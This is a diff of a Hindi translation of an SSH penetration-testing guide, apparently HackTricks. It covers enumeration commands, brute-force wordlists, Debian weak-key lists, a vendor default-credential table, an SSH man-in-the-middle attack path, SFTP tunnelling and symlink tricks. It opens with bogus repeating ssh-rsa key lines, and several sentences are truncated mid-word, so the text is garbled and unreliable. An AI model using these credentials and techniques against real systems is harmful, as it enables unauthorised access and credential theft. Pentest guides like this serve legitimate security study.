ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
@ -118,11 +118,11 @@ msf> use scanner/ssh/ssh_enumusers
```
### [ब्रूट फोर्स](../generic-methodologies-and-resources/brute-force.md#ssh)
कुछ सामान्य ssh क्रेडेंशियल्स [यहां](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) और [यहां](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) दिए गए हैं।
कुछ सामान्य ssh क्रेडेंशियल्स [यहां](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) और [यहां](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) हैं।
### प्राइवेट की ब्रूट फोर्स
यदि आपको कुछ ssh प्राइवेट की हैं जो उपयोग किए जा सकते हैं... तो इसे आज़माएं। आप nmap स्क्रिप्ट का उपयोग कर सकते हैं:
यदि आपको कुछ ssh प्राइवेट की हैं जो उपयोग किए जा सकते हैं... तो इसे आज़माएं। आप निमाप स्क्रिप्ट का उपयोग कर सकते हैं:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -138,33 +138,33 @@ msf> use scanner/ssh/ssh_identify_pubkeys
#### कमजोर SSH कुंजी / Debian पूर्वानुमानित PRNG
कुछ सिस्टमों में एनक्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए गए यादृच्छिक बीज में ज्ञात दोष होते हैं। इसके परिणामस्वरूप, एक द्रास्तव्य घटिया कुंजी स्थान को ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित Debian सिस्टमों पर उत्पन्नित पूर्व-उत्पन्न कुंजी सेट यहां उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
कुछ सिस्टमों में एनक्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए गए यादृच्छिक बीज में ज्ञात दोष होते हैं। इसके परिणामस्वरूप, एक द्रुत रेखा की कुंजी खोजी जा सकती है। कमजोर PRNG से प्रभावित Debian सिस्टमों पर उत्पन्नित पूर्व-उत्पन्न कुंजी सेट यहां उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
आपको यहां देखना चाहिए ताकि पीड़ित मशीन के लिए वैध कुंजीयों की खोज कर सकें
आपको पीड़ित मशीन के लिए वैध कुंजी खोजने के लिए यहां देखना चाहिए
### केरबेरोस
**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करके **केरबेरोस के माध्यम से प्रमाणित करने** के लिए विकल्प `--kerberos` का उपयोग कर सकता है।\
**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करके `--kerberos` विकल्प का उपयोग करके **केरबेरोस के माध्यम से प्रमाणित करने** के लिए कर सकता है।\
अधिक जानकारी के लिए `crackmapexec ssh --help` चलाएं।
## डिफ़ॉल्ट क्रेडेंशियल्स
| **विक्रेता** | **उपयोगकर्ता नाम** | **पासवर्ड** |
| ------------ | --------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@ -172,11 +172,11 @@ msf> use scanner/ssh/ssh_identify_pubkeys
**हमला मार्ग:**
* उपयोगकर्ता ट्रैफ़िक आकर्षित मशीन के लिए रीडायरेक्ट होता है
* हमलावर SSH सर्वर के साथ कनेक्ट होने की कोशिशों का अवलोकन करता है और उन्हें अपने SSH सर्वर के लिए रीडायरेक्ट करता है
* हमलावर का SSH सर्वर कॉन्फ़िगर किया जाता है, पहले, उपयोगकर्ता के पासवर्ड सहित सभी दर्ज किए गए डेटा को लॉग करने के लिए, और दूसरे, उपयोगकर्ता जिसे वह कनेक्ट होना चाहता है, के लिए आदेश भेजने के लिए, उन्हें निष्पादित करने के लिए, और फिर परिणाम वापस लैजिट उपयोगकर्ता को भेजने के लिए
* उपयोगकर्ता ट्रैफ़िक को हमलावर मशीन पर अनुप्रयोगित किया जाता है
* हमलावर SSH सर्वर के साथ कनेक्ट होने की कोशिशों का अवलोकन करता है और उन्हें अपने SSH सर्वर पर पुनर्निर्देशित करता है
* हमलावर का SSH सर्वर कॉन्फ़िगर किया जाता है, पहले, उपयोगकर्ता के पासवर्ड सहित सभी दर्ज किए गए डेटा को लॉग करने के लिए, और दूसरे, उपयोगकर्ता जिसे कनेक्ट करना चाहता है, उसके लिए आदेश भेजने के लिए मान्य SSH सर्वर को, उन्हें क्रियान्वित करने के लिए, और फिर परिणामों को मान्य उपयोगकर्ता को वापस भेजने के लिए
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* उपरोक्त के बराबर करता है।
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* उपरोक्त विवरण के अनुसार करता है।
वास्तविक MitM को कैप्चर करने के लिए आप ARP स्पूफिंग, DNS स्पूफिंग या अन्य [**नेटवर्क स्पूफिंग हमलों**](../generic-methodologies-and-resources/pentesting-network/#spoofing) में वर्णित तकनीकों का उपयोग कर सकते हैं।
@ -184,7 +184,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
### रूट लॉगिन
डिफ़ॉल्ट रूप से अधिकांश SSH सर्वर अमलन में रूट लॉगिन की अनुमति देंगे, इसे अक्षम करना सलाह दी जाती है क्योंकि यदि इस खाते के पासवर्ड लीक हो जाते हैं, तो हमलावर सीधे प्र
डिफ़ॉल्ट रूप से अधिकांश SSH सर्वर अमलन में रूट लॉगिन की अनुमति देंगे, इसे अक्षम करना सलाह दी जाती है क्योंकि यदि इस खाते के पासवर्ड लीक हो जाते हैं, तो हमलावर सीधे प्रशासकीय अध
```
$ ssh -v noraj@192.168.1.94 id
...
@ -217,17 +217,17 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
यह कॉन्फ़िगरेशन केवल SFTP को अनुमति देग: स्टार्ट कमांड को बाध्य करके शेल एक्सेस को अक्षम करने और TTY एक्सेस को अक्षम करने के साथ ही सभी प्रकार के पोर्ट फ़ॉरवर्डिंग या टनलिंग को भी अक्षम करने की अनुमति देगा
यह कॉन्फ़िगरेशन केवल SFTP को अनुमति देग: स्टार्ट कमांड को बाध्य करके शेल एक्सेस को अक्षम करने और TTY एक्सेस को अक्षम करने के साथ-साथ सभी प्रकार के पोर्ट फ़ॉरवर्डिंग या टनलिंग को भी अक्षम करेगी
### SFTP टनलिंग
यदि आपके पास एक SFTP सर्वर तक पहुंच है, तो आप अपना ट्रैफ़िक इसके माध्यम से टनल कर सकते हैं, उदाहरण के लिए सामान्य पोर्ट फ़ॉरवर्डिंग का उपयोग करके।
यदि आपके पास एक SFTP सर्वर तक पहुंच है, तो आप अपना ट्रैफ़िक इसके माध्यम से भी टनल कर सकते हैं, उदाहरण के लिए सामान्य पोर्ट फ़ॉरवर्डिंग का उपयोग करके।
```
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP सिंबलिंक
**sftp** में "**symlink**" कमांड होती है। इसलिए, अगर आपके पास किसी फ़ोल्डर में **लिखने की अधिकार** है, तो आप **अन्य फ़ोल्डर/फ़ाइलों** के **सिंबलिंक** बना सकते हैं। शायद आप एक chroot में **फंसे** हुए हों, इसलिए यह आपके लिए **विशेष रूप से उपयोगी नहीं होगा**, लेकिन, अगर आप **वेब** से बनाए गए **सिंबलिंक** तक पहुंच सकते हैं (उदाहरण के लिए, अगर आप सिंबलिंक को वेब से एक्सेस कर सकते हैं), तो आप **वेब के माध्यम से सिंबलिंक फ़ाइलों को खोल सकते हैं**।
**sftp** में "**symlink**" कमांड होती है। इसलिए, यदि आपके पास किसी फ़ोल्डर में **लिखने की अधिकार** है, तो आप **अन्य फ़ोल्डर/फ़ाइलों** के **सिंबलिंक** बना सकते हैं। शायद आप एक chroot में **फंसे** हुए हों, इसलिए यह आपके लिए **विशेष रूप से उपयोगी नहीं होगा**, लेकिन, यदि आप नो-chroot सेवा से (उदाहरण के लिए, वेब से सिंबलिंक तक पहुंच सकते हैं) बनाए गए सिंबलिंक तक **पहुंच सकते हैं**, तो आप वेब के माध्यम से **सिंबलिंक फ़ाइलों को खोल सकते हैं**।
उदाहरण के लिए, एक नए फ़ाइल **"**_**froot**_**"** से एक **सिंबलिंक** बनाने के लिए "**_**/**_**"** से:
```
@ -237,7 +237,7 @@ sftp> symlink / froot
### प्रमाणीकरण विधियाँ
उच्च सुरक्षा वातावरण में, आमतौर पर साधारित फैक्टर पासवर्ड आधारित प्रमाणीकरण क बजाय केवल कुंजी-आधारित या दो फैक्टर प्रमाणीकरण को सक्षम करना एक सामान्य अभ्यास है। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ निष्क्रिय किए बिना कमजोर विधियाँ सक्षम की जाती हैं। एक आम घटना है कि openSSH कॉन्फ़िगरेशन पर `publickey` को सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना, लेकिन `password` को निष्क्रिय नहीं करना। इसलिए SSH क्लाइंट के verbose मोड का उपयोग करके एक हमलावर्ती देख सकता है कि एक कमजोर विधि सक्षम है:
उच्च सुरक्षा वातावरण में, आमतौर पर साधारित फैक्टर पासवर्ड आधारित प्रमाणीकरण क बजाय केवल कुंजी-आधारित या दो फैक्टर प्रमाणीकरण को सक्षम करना एक सामान्य अभ्यास है। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ निष्क्रिय किए बिना कमजोर विधियाँ सक्षम की जाती हैं। एक आम घटना है कि openSSH कॉन्फ़िगरेशन पर `publickey` को सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना, लेकिन `password` को निष्क्रिय नहीं करना। इसलिए SSH क्लाइंट के verbose मोड का उपयोग करके एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है:
```
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -268,12 +268,12 @@ id_rsa
## संदर्भ
* आप यहां [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) पर SSH को कठिन बनाने के रुझानों पर रोचक गाइड ढूंढ सकते हैं।
* आप [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) पर SSH को कठिन बनाने के रुझानों पर दिलचस्प गाइड ढूंढ सकते हैं।
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानकारी आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चमकदार पोलिश लिखित और बोली जाना चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -299,8 +299,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके।**

View file

@ -4,31 +4,31 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) का पता लगाएं
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
